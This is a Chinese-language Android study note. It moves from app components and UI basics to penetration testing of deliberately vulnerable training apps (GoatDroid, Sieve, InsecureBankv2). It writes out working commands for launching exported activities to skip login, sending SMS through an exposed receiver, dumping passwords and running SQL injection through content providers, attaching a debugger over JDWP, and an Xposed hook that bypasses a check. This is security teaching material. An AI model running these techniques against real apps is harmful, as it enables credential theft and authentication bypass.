  • 内容提供程序:以一个或多个表格的形式为外部应用提供数据。

每种类型都有不同的用途和生命周期,后者会定义如何创建和销毁组件

Launcher Activity

Activity 是一种面向用户的应用组件或用户界面(UI)。Activity 基于 Activity 基类,包括一个窗口和相关的 UI元素。Activity的底层管理是由被称为 Activity管理服务(Activity Manager)的组件来进行处理的,这一组件也处理应用之间或应用内部用于调用 Activity 的发送 Intent.

Android没有像java、c那样具有main函数来作为程序的入口,Android程序提供的是入口Activity,而不是入口函数。一般认为Launcher Activity是Android应用程序的入口点,当Android系统启动完成之后,Lancher也就启动完成了,用户点击运行桌面的快捷图标,就能启动应用程序。Android系统中的每一个应用程序,都是独立运行在自己的进程中的。在点击应用快捷图标后,如果应用程序还没有进程,首先应该会先建立应用程序的进程,其流程如下:

应用程序在没有创建进程的情况下,会通过ActivitServiceManager去请求服务端Socket,服务端Socket再去请求Zygote进程,让其帮忙建立进程,而Zygote进程会fork自身来创建应用程序进程。应用程序进程创建的同时,应用程序的主线程也会创建,与主线程息息相关的ActivityThread类也会创建,并调用自身的main方法,进行相关的初始化。

并非每个应用程序都会有启动器活动,尤其是没有UI的应用程序。没有UI(因此具有启动程序活动)的应用程序示例是预安装的应用程序,这些应用程序在后台执行服务,例如语音邮件。

<activity android:name=".LauncherActivity">
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent.category.LAUNCHER" />
    </intent-filter>
</activity>

服务(Service)

Service是一种可在后台执行长时间运行操作而不提供界面的应用组件。服务可由其他应用组件启动,而且即使用户切换到其他应用,服务仍将在后台继续运行。因此,Service是应用程序的切入点。

此外,组件可通过绑定到服务与之进行交互,甚至是执行进程间通信 (IPC)。例如,服务可在后台处理网络事务、播放音乐,执行文件 I/O 或与内容提供程序进行交互。

当调用startService API来启动服务时,将执行服务中的onStart方法。

广播接收器(Broadcast Receivers)

广播可理解为消息传递系统,广播接收器为监听器。若应用程序已为特定广播注册了接收器,则当系统发送广播时,将执行该接收器中的代码。 应用程序可以通过两种方式注册接收器:

  • 静态注册:在AndroidManifest.xml清单注册
  • 动态注册:运行时调用registerReceiver() API注册

这两种情况下,都会设置 intent filter,需要intent filter触发接收器的广播。

当发送接收器注册的特定广播时,将执行BroadcastReceiver类中的onReceive

Broadcast Receiver也可以使用 registerReceiver 方法在运行时以编程方式注册,这个方法可以被重载以对 Receiver设置权限。

内容提供程序

内容提供程序以一个或多个表格的形式为外部应用提供数据。如果应用与其他应用共享数据,内容提供程序就是一种方法,可以充当应用间的数据共享接口。

应用还可以创建自己的 Content Provider,并且可以选择暴露给其他应用。通过这些 Provider 公开的数据的后台通常是 SQLite数据库,或是直接访问的系统文件路径(如播放器对 MP3文件编排的索引和共享路径)。

内容提供程序使用标准的insert()query()update()delete()等方法来获取应用数据。所有的内容提供程序都使用content://[authorityname] 的格式,可以额外包含路径和参数信息(如 content://com.wiley.example.data/foo)。只要知道这个URI并拥有合适的权限,任何应用都可以从内容提供程序的数据库中进行数据插入、更新、删除、查询等操作。

像其他的应用组件一样,对 Content Provider 的读写能力也可以用权限进行控制

导出组件(Services & Activities)

Services 和 Activities;也可以导出,允许其他进程启动Services和Activities。可通过以下代码设置导出组件:

<service android:name=".ExampleExportedService" android:exported="true"/>
<activity android:name=".ExampleExportedActivity" android:exported="true"/>

默认情况下,清单中的导出组件是关闭的(android:exported="false"),除非将该值设置为true,或者为Activities/Services设置了intnet fliter。

Intent

应用间通信的一个关键组件是 Intent。Intent是一种消息对象,其中包含一个要执行操作的相关信息,将执行操作的目标组件信息(可选),以及其他一些(对接收方可能非常关键的)标志 位或支持性信息。几乎所有常用的动作——比如在一个邮件中点击链接来启动浏览器,通知短信 应用收到 SMS短信,以及安装和卸载应用,等等——都涉及在系统中传递 Intent。

这类似于一个进程间调用(IPC)或远程过程调用(RPC)机制,其中应用组件可以通过编 程方式和其他组件进行交互,调用功能或者共享数据。在底层沙箱(文件系统、AID等)进行安 全策略实施的情况下,应用之间通常使用这个 API进行交互。如果调用方或被调用方指明了发送 或接收消息的权限要求,那么 Android运行时将作为一个参考监视器,对 Intent执行权限检查。

当在 Manifest文件中声明特定的组件时,可以指明一个 Intent Filter,来定义端点处理的标准。 Intent Filter特别用于处理那些没有指定目标组件的 Intent(即隐式 Intent)。

应用子类

Android应用可以定义Application的子类,但是没有必要。若Android应用程序定义了Application子类,则定义的子类将在应用程序中的其他类之前实例化。

APK的安装流程

  1. 通过系统程序安装(开机时安装):这种方式是由开机时启动的PackageManagerService服务完成。这个服务在启动时会扫描系统程序目录system/app并重新安装所有程序
  2. 通过应用市场安装
  3. 通过adb命令安装adb install xxx.apk
  4. 手机自带安装(通过SDK里的APK文件安装):点击手机文件浏览器里面的APK文件,直接调用Android系统的软件包packageinstaller.apk即可安装APK。(当Android系统请求安装APK程序时,就会启动PackageInstallerActivity,并接收通过Intent传递过来的APK信息)

Android开发

初级控件

像素

Android常用的像素单位有px(像素)、dp(dip)、sp(用于设备字体的大小)。

dp与物理设备无关,只与屏幕的尺寸有关。一般而言,同样尺寸的屏幕以dp计量的分辨率是一样的,无论关于手机厂商。

手机在系统设置里可以调整字体的大小(小、普通、大、超大),设置普通字体时,同数值dp和sp的文字看起来一样大,如果设置为大字体,用dp设置的文字没有变化,用sp设置的文字就变大。dp与系统设置的字体大小没有关系,而sp会随系统设置的字体大小变大或变小。

dp和px的联系取决于具体设备上的像素密度,像素密度就是DisplayMetrics里的density参数。当density=1.0时,表示一个dp值对应一个px值;当density=1.5时,表示两个dp值对应3个px值;当density=2.0时,表示一个dp值对应两个px值。具体转换函数为:

public static init dip2px(Context context, float dpValue){
            //获取当前手机像素密度
            final float scale = context.getResources().getDisplayMetrics().density;
            return (int) (dpValue*scale + 0.5f); //四舍五入取整
        }
        //根据手机的分辨率从px(像素)单位转为dp
        public static init px2dip(Context context, float dpValue){
            //获取当前手机像素密度
            final float scale = context.getResources().getDisplayMetrics().density;
            return (int) (pxValue/scale + 0.5f); //四舍五入取整
        }

在XML布局文件中,为了让不同设备屏幕拥有统一的显示效果,除了sp用于设置文字大小外,其余要 用尺寸大小的地方都用dp。在代码中情况又有所不同,Android用于设置大小的函数都以px为单位。无论是 LayoutParams里的width和height,还是setMargins和setPadding,参数单位都是px,要想在代码中使用dp设置 布局大小或间距,得先把dp值转换成px值。代码示例如下:

// 将10dp的尺寸大小转换为对应的px数值
int dip_10 = Utils.dip2px(this, 10L);
// 从布局文件中获取名叫tv_padding的文本视图
TextView tv_padding = findViewById(R.id.tv_padding);    // 设置该文本视图的内部文字与控件四周的间隔大小
tv_padding.setPadding(dip_10, dip_10, dip_10, dip_10);

颜色

在Android中,颜色值由透明度alpha和RGB(红、绿、蓝)三原色定义,有八位十六进制数与六位十六 进制数两种编码,例如八位编码FFEEDDCC,FF表示透明度,EE表示红色的浓度,DD表示绿色的浓度, CC表示蓝色的浓度。透明度为FF表示完全不透明,为00表示完全透明。RGB三色的数值越大颜色越浓也就 越亮,数值越小颜色越暗。亮到极致就是白色,暗到极致就是黑色。

// 从布局文件中获取名叫tv_code_six的文本视图
TextView tv_code_six = findViewById(R.id.tv_code_six);  // 给文本视图tv_code_six设置背景为透明的绿色,透明就是看不到
tv_code_six.setBackgroundColor(0x00ff00);
// 从布局文件中获取名叫tv_code_eight的文本视图
TextView tv_code_eight = findViewById(R.id.tv_code_eight);
// 给文本视图tv_code_eight设置背景为不透明的绿色,即正常的绿色
tv_code_eight.setBackgroundColor(0xff00ff00);

Android使用颜色有三种方式:

  • 使用系统已定义的颜色常量,具体的类型定义在Color类
  • 使用十六进制的颜色编码,如android:textColor="#000000"
  • 使用colors.xml中定义的颜色。res/values目录下有个colors.xml文件,是颜色常量的定义文件。如果要在布局文件中使用XML颜色常 量,可引用@color/常量名;如果要在代码中使用XML颜色常量,可通过这行代码获取: getResources().getColor(R.color.常量名)

屏幕分辨率

在App编码中时常要取手机的屏幕分辨率(如当前屏幕的宽和高),然后动态调整界面上的布局。在代 码中获取分辨率就是想办法获得DisplayMetrics对象,然后从该对象中获得宽度、高度、像素密度等信息。 下面是DisplayMetrics类的常用属性说明。

  • widthPixels:以px为单位计量的宽度值。
  • heightPixels:以px为单位计量的高度值。
  • density:像素密度,即一个dp单位包含多少个px单位。

获取当前屏幕的宽度、高度、像素密度的代码:

 public static int getScreenWidth(Context ctx){
        //从系统服务中获取窗口管理器
        WindowManager wm = (WindowManager)ctx.getSystemService(Context.WINDOW_SERVICE);
        DisplayMetrics dm = new DisplayMetrics();
        //从默认显示器中获取显示参数保存到dm对象中
        wm.getDefaultDisplay().getMetrics(dm);
        return dm.widthPixels;//返回屏幕的宽度数
    }
    public static int getScreenHeight(Context ctx){
        //从系统服务中获取窗口管理器
        WindowManager wm = (WindowManager)ctx.getSystemService(Context.WINDOW_SERVICE);
        DisplayMetrics dm = new DisplayMetrics();
        //从默认显示器中获取显示参数保存到dm对象中
        wm.getDefaultDisplay().getMetrics(dm);
        return dm.heightPixels;//返回屏幕的高度数
    }
    public static float getScreenDensity(Context ctx){
        //从系统服务中获取窗口管理器
        WindowManager wm = (WindowManager)ctx.getSystemService(Context.WINDOW_SERVICE);
        DisplayMetrics dm = new DisplayMetrics();
        //从默认显示器中获取显示参数保存到dm对象中
        wm.getDefaultDisplay().getMetrics(dm);
        return dm.density;//返回屏幕的高度数
    }

视图View的基本属性

View是Android的基本视图,所有控件和布局都是由View类直接或间接派生而来的。故而View类的基 本属性和方法是各控件和布局通用的。

下面是视图在XML布局文件中常用的属性定义说明。

  • id:指定该视图的编号。
  • layout_width: 指定该视图的宽度。可以是具体的dp数值;可以是match_parent,表示与上级视图一样 宽;也可以是wrap_content,表示与内部内容一样宽(内部内容若超过上级视图的宽度,则该视图保 持与上级视图一样宽,超出宽度的内容得进行滚动才能显示出来)。
  • layout_height:指定该视图的高度。取值说明同layout_width。
  • layout_margin:指定该视图与周围视图之间的空白距离(包括上、下、左、右)。另有 layout_marginTop、layout_marginBottom、layout_marginLeft、layout_marginRight分别表示单独指定 视图与上边、下边、左边、右边视图的距离。
  • minWidth:指定该视图的最小宽度。
  • minHeight:指定该视图的最小高度。
  • background:指定该视图的背景。背景可以是颜色,也可以是图片。
  • layout_gravity:指定该视图与上级视图的对齐方式。若同时适用多种 对齐方式,则可使用竖线|把多种对齐方式拼接起来。
  • padding:指定该视图边缘与内部内容之间的空白距离。另有paddingTop、paddingBottom、 paddingLeft、paddingRight分别表示指定视图边缘与内容上边、下边、左边、右边的距离。
  • visibility:指定该视图的可视类型

攻击面

应用攻击面

该处参考了https://www.owasp.org/index.php/OWASP_Mobile_Top_10https://xuanxuanblingbling.github.io/ctf/android/2018/02/12/Android_app_part1/

  • 弱服务器端控制
  • 不安全的数据存储
  • 通信不安全
  • 不安全的身份验证
  • 脆弱的加密算法
  • 不安全的授权
  • 客户端代码质量问题
  • 代码篡改
  • 逆向破解
  • 无关功能

弱服务器端控制

弱服务器端控制是指对应用后台的攻击。一些应用通过REST、SOAP API接口连接后台服务器。可以找出暴露的API入口,查找各种漏洞,利用配置错误的服务器等达到攻击。

不安全的数据存储

1.开发者经常会通过共享首选项或者SQLite数据库将敏感数据存放在设备的文件系统中,比如用户名、身份信息、验证令牌、密码、PIN码等敏感信息。

2.应用存储数据在不安全的位置上,就可能出现该漏洞。如:

  • 内容提供程序泄露
  • 剪贴板缓存
  • URL缓存
  • 浏览器cookies
  • HTML5数据存储
  • 发送给第三方的分析数据

通信不安全

从A点到B点之间不安全地获取数据的所有方面,包括移动设备之间 的通信、应用程序至服务器之间的通信、移动设备至其他设备的通信等,涉及的通信方式包括TCP/IP、 WiFi、蓝牙、NFC、音频、红外、GSM、 3G、短信等,可能会导致中间人攻击(包括数据窃听、数据篡改回放、敏感信息明文传输)、不安全的握手、有漏洞的SSL等

不安全的身份验证

包括对终端用户身份验证或会话管理的问题,例如使用不安全的信 道进行身份验证而导致欺骗、重放或其他针对身份验证的攻击,导致APP客户端或服务端可能会向未识别身份的用户暴露数据或提供服务。

脆弱的加密算法

使用不当的加密方法对敏感信息进行加密,例如使用了不安全或过 时的加密算法、密钥管理不当(弱密钥、硬编码密钥)、使用了存在漏洞的自定义加密算法等,导致数据机密性受到破坏(数据破解)或者数据完整性受到破坏(数据伪造攻击)

不安全的授权

不安全的授权管理,如果移动终端APP包含不安全的直接对象引用 (IDOR)、隐藏的服务端接口、通过数据请求传递用户角色或权限信息等,则可能会存在不安全的授权问题。导致对未经授权的用户授予访问权限,未授权用户可执行他们本不能执 行的创建、读取、更新、删除(CRUD)等操作,可以使用本没有授予它们的服务。

客户端代码质量问题

移动客户端代码级别开发问题,包括缓冲区溢出、字符串格式漏洞以及其他不同类型的代码级错误,导致攻击者利用错误的业务逻辑,或通过漏洞绕过设备上的安全控制,或以意外的方式暴露敏感数据

客户端注入攻击例子:

  • WebView注入
  • 通过原始SQL原句对SQLite数据库进行系统的SQL注入
  • 内容提供程序SQL注入
  • 内容提供程序路径遍历

代码篡改

攻击者通过对代码篡改可以改变应用程序的运行逻辑、在合法应用 程序中植入恶意代码、改变或中断向服务端的网络流量等

逆向破解

攻击者能通过逆向工程观察到程序代码、工作逻辑以及代码中的加 密常数、密码等信息,能够对APP进行重打包。

无关功能

在应用程序中启用了不打算发布的功能(如测试后门、调试信息打印、暂时禁用的安全验证、额外权限等),导致攻击者可能通过这些额外的功能窃取敏感数据或使用未经授权的功能。

数据存储漏洞

数据库存储漏洞可能会有共享首选项敏感文件、SQLite数据库文件、存放在内部存储的敏感数据(如私钥)、用户字典缓存

共享首选项

共享首选项的xml文件位置如下:

/data/data/<包名>/shared_prefs

下载https://dw13.malavida.com/dwn/3d044637458f4f3b754ccb6dc28adfa10f93987bb2f6cff6f8548f4235ca7ceb/com.whatsapplock.apk ,安装成功后,使用adb shell进入该应用的/data/data/com.whatsapplock/shared_prefs目录(共享首选项目录),查看com.whatsapplock_preferences.xml文件,得到密保问题、答案和 明文PIN码:

SQLite数据库

安卓应用存放数据库文件的位置如下:

/data/data/<包名>/数据库文件

下载一个sqlite demo,从adb shell中 找到/data/data/ashishbarad.com.simpledbapp/databases中的contactsManager,并从中拉取出来,使用sqlite browser打开可得 :

攻击应用组件

针对activity的攻击

导出的activity可以被同一设备上的其他应用调用。

导出属性为true,那么activity可以被其他应用的组件调用;如果为false,则activity只能被同一个应用或者具有相同用户ID的应用组件调用。

goatdroid 反编译代码中的AndroidManifest.xml的导出属性:

这时候就可以用下列命令绕过登录,直接看到ViewProfile activity

// am是activity管理工具;start启动一个组件;-n指定要启动的组件
adb shell am start -n org.owasp.goatdroid.fourgoats/.activities.ViewProfile

[========]

这就使用内置的am工具(activity管理工具)启动特定的activity,绕过身份验证。若开发人员想要导出activity,可以通过自定义权限来导出。只有拥有这些权限的应用才能调用这个组件。

Intent过滤器能够启动组件来接收指定类型的Intent,同时过滤掉对组件无意义的Intent。

启动私有activity

//intent without any action element
adb shell am start -n <activity组件名>

//intent with action element
adb shell am start -n <activity组件名> -a <Intent过滤器的action名>

goatdroid中的AndroidManifest.xml中使用了Intent过滤器,所以其服务导出:

针对服务的攻击

安卓应用常见的服务是用于再后台处理长时间运行的任务,也有为设备上其他的应用或同一应用的其他组件提供接口的服务。服务基本上分为两种启动和绑定:

  • 启动:startService()启动服务,服务启动后,会在后台不停运行,即使启动该服务的组件已经销毁
  • 绑定:bindService()绑定服务,绑定服务提供了一个从客户端到服务器的接口,能够让组件与服务进行交互、发送请求、获取结果,甚至可以通过进程间通信再不同的进程上实现这些功能。
  1. 扩展Binder:扩展Binder类来创建一个接口,并从onBind()返回一个关于它的实例。客户端接收到Binder后,可以通过它直接访问该服务中的公共方法。
  2. 使用Messager:如果需要跨进程使用接口,可以使用Messager为服务创建一个接口。通过这种方式创建的服务可以定义Handler,而且Handler能够响应不同类型的Message对象。这样客户端可以使用Message对象向服务发送命令。
  3. 使用AIDL:AIDL是一种允许一个应用调用另一个应用的方法。与activity类似,一个未受保护的服务也可以被设备上其他应用调用。使用startService()就可以调用第一种服务。

goatdroid中的AndroidManifest.xml中使用了Intent过滤器,所以其服务导出:

使用am工具指定startservice选项调用该服务:

adb shell am startservice -n org.owasp.goatdroid.fourgoats/.services.LocationService -a org.owasp.goatdroid.fourgoats.services.LocationService

针对广播接收器攻击

导出的广播接收器容易受到攻击。如goatdroidAndroidManifest.xml文件中的一段代码,其中显示了它有一个已经注册过的接收器:

使用以下命令发送广播请求,该广播请求是发送一条短信到5556这个号码:

//am broadcast是发送广播请求;-a指定action元素;-n指定组件名称;-es指定字符串键值对的其他名称
adb shell am broadcast -a org.owasp.goatdroid.fourgoats.SOCIAL_SMS -n org.owasp.goatdroid.fourgoats/.broadcastreceivers.SendSMSNowReceiver -es phoneNumber 5556 -es message FUCK

对内容提供程序的攻击

敏感信息泄露

使用apktool反编译apk:

java -jar apktool_2.4.1.jar d -f InsecureBankv2.apk -o ~/Desktop/bank/

查找反编译文件中关于content://字符串的文件:

grep -lr "content://" *

根据文件找到导出的内容提供程序为content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers :

根据URI查询内容提供程序的内容:

adb shell content query --uri content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers

内容提供程序目录遍历

//查找sieve包
run app.package.list -f sieve

//查找攻击面
run app.package.attacksurface com.mwr.example.sieve

//查找内容提供程序的uri
run scanner.provider.finduris -a com.mwr.example.sieve

//扫描目录遍历
run scanner.provider.traversal -a com.mwr.example.sieve

//读取hosts文件
run app.provider.read  content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

SQL注入

使用adb

0x01 查找内容提供程序的URI

反编译apk,查找包含content://的字符串,:

//反编译apk
java -jar apktool_2.4.1.jar d -f ~/Desktop/sieve.apk -o ~/Desktop/sieve

//查询字符串
grep -lr "content://" *

找到内容提供程序uri:

0x02 查询内容提供程序:

查询内容提供程序的表:

adb shell content query --uri content://com.mwr.example.sieve.DBContentProvider/Passwords/

此时已经能暴露出密码,后续只为演示没有爆出密码的测试过程

0x03 编写where条件,过滤数据

adb shell content query --uri content://com.mwr.example.sieve.DBContentProvider/Passwords/ --where "_id=1"

0x04 报错注入

//测试单引号
 adb shell content query --uri content://com.mwr.example.sieve.DBContentProvider/Passwords/ --where "_id=1'"

//查找提取信息的所有列号
adb shell content query --uri content://com.mwr.example.sieve.DBContentProvider/Passwords/ --where "_id=1 ) union select 1,2,3,4,5-- ("

//查询列号内容
adb shell content query --uri content://com.mwr.example.sieve.DBContentProvider/Passwords/ --where "_id=1 ) union select 1,2,3,4,5-- ("

//查询数据库版本
adb shell content query --uri content://com.mwr.example.sieve.DBContentProvider/Passwords/ --where "_id=1 ) union select 1,2,3,sqlite_version(),5-- ("

//查询表名
adb shell content query --uri content://com.mwr.example.sieve.DBContentProvider/Passwords/ --where "_id=1 ) union select 1,2,3,table_name,5 from sqlite_master-- ("

使用drozer

查看目标应用的包名:

run app.package.list -f sieve

确定攻击面,查找导出的内容提供程序:

run app.package.attacksurface com.mwr.example.sieve

查找content://的URI:

run scanner.provider.finduris -a com.mwr.example.sieve

查询内容跟提供程序的URI:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/

从应哟个的提供程序中查询内容,并以垂直形式显示:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

上述为内容提供程序的敏感信息泄露

查找内容提供程序的SQL注入:

run scanner.provider.injection -a com.mwr.example.sieve

根据返回的URI做单引号报错注入:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords

//测试单引号,报错
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --selection "'"

//查询_id=1,正常
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --selection "_id=1"

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --selection "_id=1=1)union select 1,2,3,4,5 from sqli_master where (1=1"

// 查询数据库版本号
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --selection "_id=1=1)union select 1,2,sqlite_version(),4,5 from sqli_master where (1=1"


//查询表名
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --selection "_id=1=1)union select 1,2,tbl_name,4,5 from sqli_master where (1=1"

利用可调式的应用

在安卓应用的AndroidManifest.xml文件中,有android:debuggable的标志。在开发阶段被设置为true,发布时被设置为false。若显示设置为true,就会造成漏洞。

读取文件

//adb jdwp找出目标应用的PID,比较目标应用运行前后的PID找出目标的PID
adb jdwp

//ps命令找出目标应用
adb shell ps | grep "15097"

//没有root权限情况下读取目标应用特定数据
angler:/ $ cd /data/data/com.mwr.example.sieve
angler:/data/data/com.mwr.example.sieve $ ls


//通过漏洞使用run-as读取私有文件
run-as com.mwr.example.sieve

枚举类的信息

开发者常会把敏感信息(口令、API Token、SSO令牌、默认用户名等)放于某个类文件中。

检查app是否可调试,可提取manifest查看,可以直接使用drozer查看:

run app.package.debuggable

从manifest中找到activity,启动登录界面:

run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.MainLoginActivity

查看Java调试连接协议端口(Java Debug Wire Protocol,一个在VM实例上打开的专供调试的端口):

adb jdwp

//确认20360为目标应用
adb shell ps | grep "20360"

对VM端口做转发:

adb forward tcp:[本地端口] jdwp:[Android设备上的jdwp端口]

adb forward tcp:31337 jdwp:20360

使用Java调试器连接目标应用的VM:

jdb -attach localhost:[本地端口]

jdb -attach localhost:31337

提取该应用的类信息:

classes

枚举指定类(MainLoginActivity类)中的所有方法:

methods [class-path]

methods com.mwr.example.sieve.MainLoginActivity

列出指定类的域(field)或类属性的名称和值:

fields [class name]

fields com.mwr.example.sieve.MainLoginActivity

客户端代码质量问题

WebView攻击

WebView是一个允许开发者加载Web页面的视图。它使用WebKit之类的Web渲染引擎。安卓4.4以前的系统使用WebKit渲染引擎来加载这些Web页面。从安卓4.4开始使用Chromium浏览器完成。若应用是使用了WebView,它会在加载WebView的应用的上下文中运行。要从互联网加载外部Web页面,应用需要在AndroidManifest.xml声明INTERNET权限:

<uses-permission android:name="android.permission.INTERNET"></uses-permission>

测试程序的漏洞代码如红框显示:

动态注入技术

Hook原理

Hook的本质就是劫持函数调用。由于处于Linux用户态,每个进程都有自己独立的进程空间,所以必须先注入到所要Hook的进程空间,修改其内存中的进程代码,替换其过程表的符号地址。在Android中一般是通过ptrace函数附加进程,然后向远程进程注入so库,从而达到监控以及远程进程关键函数挂钩。

进程附着:Android的内核中有一个函数叫做ptrace,能够动态地attach(跟踪一个目标进程)、detach(结束跟踪一个目标进程)、peektext(获取内存字节)、poketext(向内存写入地址)等;Android中的另一个内核函数dlopen,能够以指定模式打开指定的动态链接库文件。对于程序的指向流程,可以调用ptrace让PC指向LR堆栈。最后调用,对目标进程调用dlopen则能够将希望注入的动态库注入至到目标进程中。

代码注入:(Hook API)可以使用mmap函数分配一段临时的内存来完成代码的存放。对于目标进程中的mmap函数地址的寻找与Hook API函数地址的寻找都需要通过目标进程的虚拟地址空间解析与ELF文件来解析完成:

  • 通过读取/proc/<PID>/maps文件找到链接库的基地址
  • 读取动态库,解析ELF文件,找到符号
  • 计算目标函数的绝对地址

目标进程函数绝对地址 = 函数地址+动态库基地址

向目标进程中注入代码的步骤主要分为:

  • ptrace函数attach上目标进程
  • 发现装载共享库so函数
  • 装载指定的so
  • 让目标进程的执行流程跳转到注入的代码执行
  • 使用ptrace函数的detach释放目标进程

对应的工作原理流程如图:

ptrace函数

ptrace函数提供了一种使父进程得以监视和控制其他进程的方式,它还能够改变子进程中的寄存器和内核映像,因为可以实现断点调试和系统调用的跟踪。使用ptrace,可以在用户层拦截和修改系统调用(这个和Hook所要达到的目的的类似),父进程还可以使子进程继续执行,并选择是否忽略引起终止的信号。

long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
  • request是请求ptrace执行的操作
  • pid是目标进程的ID
  • addr是目标进程的地址值
  • data是作用的数据

ptrace的第一个参数决定ptrace回执行什么操作。常用的有跟踪指定的进程(PTRACE_ATTACH)、结束跟踪指定进程(PTRACE_DETACH)等。

Hook类型

Android系统在开发中会存在两种模式:

  • Linux的Native模式
  • 建立在虚拟机上的Java模式

即Android上的Hook分为Native层级的HookJava层级的Hook。两种模式下,通常能够使用JNI机制来进行调用。

即分为使用Android SDK开发环境的Java API Hook与Android NDK 开发环境的Native API Hook

对于Android中so库文件的函数Hook,根据ELF文件的特性分为Got表Hook、Sym表Hook、inline Hook等。

Java层API Hook

通过对Android 平台的虚拟机注入与Java 反射的方式,来改变Android虚拟机调用函数的方法(ClassLoader),从而达到Java函数重定向的目的。此类操作成为Java API Hook。因为是根据Java中的发射机制来重定向函数的,无法反射调用关键字为native的方法函数(JNI实现的函数)、基本类型的静态常量无法反射修改等问题也会伴随Java反射而来。

Native层So库Hook

主要是针对使用NDK开发出来的so库文件的函数重定向,其中也包括对Android操作系统底层的Linux函数重定向,如使用so库文件(ELF格式文件)中的全局偏移表GOT表或符号表SYM表进行修改从而达到的函数重定向,又可以对其成为GOT Hook和SYM Hook。针对其中的inline函数(内联函数)的Hook称为inline Hook。

全局Hook

针对Hook的不同进程而言又可以分为全局Hook和单个应用程序Hook。

在Android系统中,应用程序进程都是由Zygote进程孵化而来,而Zygote进程是由Init进程启动的。Zygote进程在启动时会创建一个Dalvik虚拟机实例,每当它孵化一个新的应用程序进程时,都会将这个Dalvik虚拟机实例复制到新的应用程序进程里面去,从而使每一个应用程序进程都有一个独立的Dalvik虚拟机实例。所以如果选择对Zygote进程Hook,则能够达到针对系统上所有的应用程序进程Hook,即一个全局Hook。效果对比图:

而对应的app_process正是zygote进程启动一个应用程序的入口,常见的Hook框架Xposed与Cydiasubstrate也是通过替换app_process来完成全局Hook的。

Xposed框架进行Hook

Xposed是一个允许开发者通过编写自定义模块hook安卓应用以便在运行时修改应用流程的框架。其工作原理是,使用app_process二进制文件来替换/system/bin目录下原有的app_process文件,app_process二进制文件可以启动Zygote进程。

安卓手机启动后,init会运行system/bin/app_process,并创建Zygote进程,使用Xposed框架可以hook任意从zygote进程fork出来的进程。

在Android系统中App进程都是由Zygote进程“孵化”出来的。Zygote进程在启动时会创建一个虚拟机实例,每当它“孵化”一个新的应用程序进程时,都会将这个Dalvik虚拟机实例复制到新的App进程里面去,从而使每个App进程都有一个独立的Dalvik虚拟机实例。

Zygote进程在启动的过程中,除了会创建一个虚拟机实例之外还会将Java Rumtime加载到进程中并注册一些Android核心类的JNI(Java Native Interface,Java本地接口)方法。一个App进程被Zygote进程孵化出来的时候,不仅会获得Zygote进程中的虚拟机实例拷贝,还会与Zygote进程一起共享Java Rumtime,也就是可以将XposedBridge.jar这个Jar包加载到每一个Android App进程中去。安装Xposed Installer之后,系统app_process将被替换,然后利用Java的Reflection机制覆写内置方法,实现功能劫持。

xposed的一些资料:

例子

演示程序,点击crack me按钮会报错You cant crack it

分析目标程序

该演示程序的入口Activity为com.androidpentesting.hackingandroidvulnapp1.MainActivity,主要功能源码如下:

点击按钮时,会调用setOutput()方法,变量i的值会作为参数传递给它,且i的初始值是0。当i的值是1的时候,应用会显示Cracked提示,为0的时候,会显示You cant crack it

创建工程

创建Xposed模块简化流程:

在Android Studio中选择Add No Activity选项,并创建一个XposedModule工程:

添加XposedBridgeAPI库

下载XposedBridgeAPI库,在app目录中新建一个provided文件夹,并把XposedBridgeAPI库放到provided文件夹中。

添加xposed_init

app/src/main目录中新建一个名为assets文件夹,在其中新建一个xposed_init

打开创建的xposed_init文件,写入:

com.example.xposedmodule.XposedClass

添加依赖

打开app文件夹中的build.gradle文件,并将以下代码添加到dependencies中:

provided files('provided/api-82.jar')

不过 https://developer.android.com/studio/build/dependencies?utm_source=android-studio#dependency_configurations 描述的provided已经过时,使用compileOnly替代:

compileOnly files('provided/api-82.jar')

编写hook代码

添加以下内容到AndroidManifest.xml文件:

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.xposedmodule">

    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/AppTheme" >
<!-- 是否是xposed模块,xposed根据这个来判断是否是模块 -->
        <meta-data
            android:name="xposedmodule"
            android:value="true"/>
<!-- 模块描述,显示在xposed模块列表那里第二行 -->
        <meta-data
            android:name="xposeddescription"
            android:value="xposed module to bypass the validation"/>
<!-- 最低xposed版本号(lib文件名可知) -->
        <meta-data
            android:name="xposedminversion"
            android:value="82"/>
    </application>
</manifest>

创建一个XposedClass的新类:

XposedClass.java中编写hook代码:

package com.example.xposedmodule;

import de.robv.android.xposed.IXposedHookLoadPackage;
import de.robv.android.xposed.XC_MethodHook;
import de.robv.android.xposed.XposedBridge;
import de.robv.android.xposed.callbacks.XC_LoadPackage;

import static de.robv.android.xposed.XposedHelpers.findAndHookMethod;

public class XposedClass implements IXposedHookLoadPackage {
    public void handleLoadPackage(final XC_LoadPackage.LoadPackageParam lpparm) throws Throwable{

        String classToHook = "com.androidpentesting.hackingandroidvulnapp1.MainActivity";
        String functionToHook = "setOutput";

        if (lpparm.packageName.equals("com.androidpentesting.hackingandroidvulnapp1")){
            XposedBridge.log("Loaded app:"+lpparm.packageName);
            findAndHookMethod(classToHook, lpparm.classLoader, functionToHook, int.class, new XC_MethodHook(){
                @Override
                        protected  void beforeHookedMethod(XC_MethodHook.MethodHookParam param) throws Throwable{
                    param.args[0] = 1;
                    XposedBridge.log("value of i after hooking" + param.args[0]);
                }
            });
        }
    }
}

  • 这个类继承了IXposedHookLoadPackage
  • 实现handleLoadPackage方法。继承自IXposedHookLoadPackage的类必须实现改方法
  • 赋予classToHookfunctionToHook字符串值
  • 编写if条件语句检查包名是否与目标应用包名一致
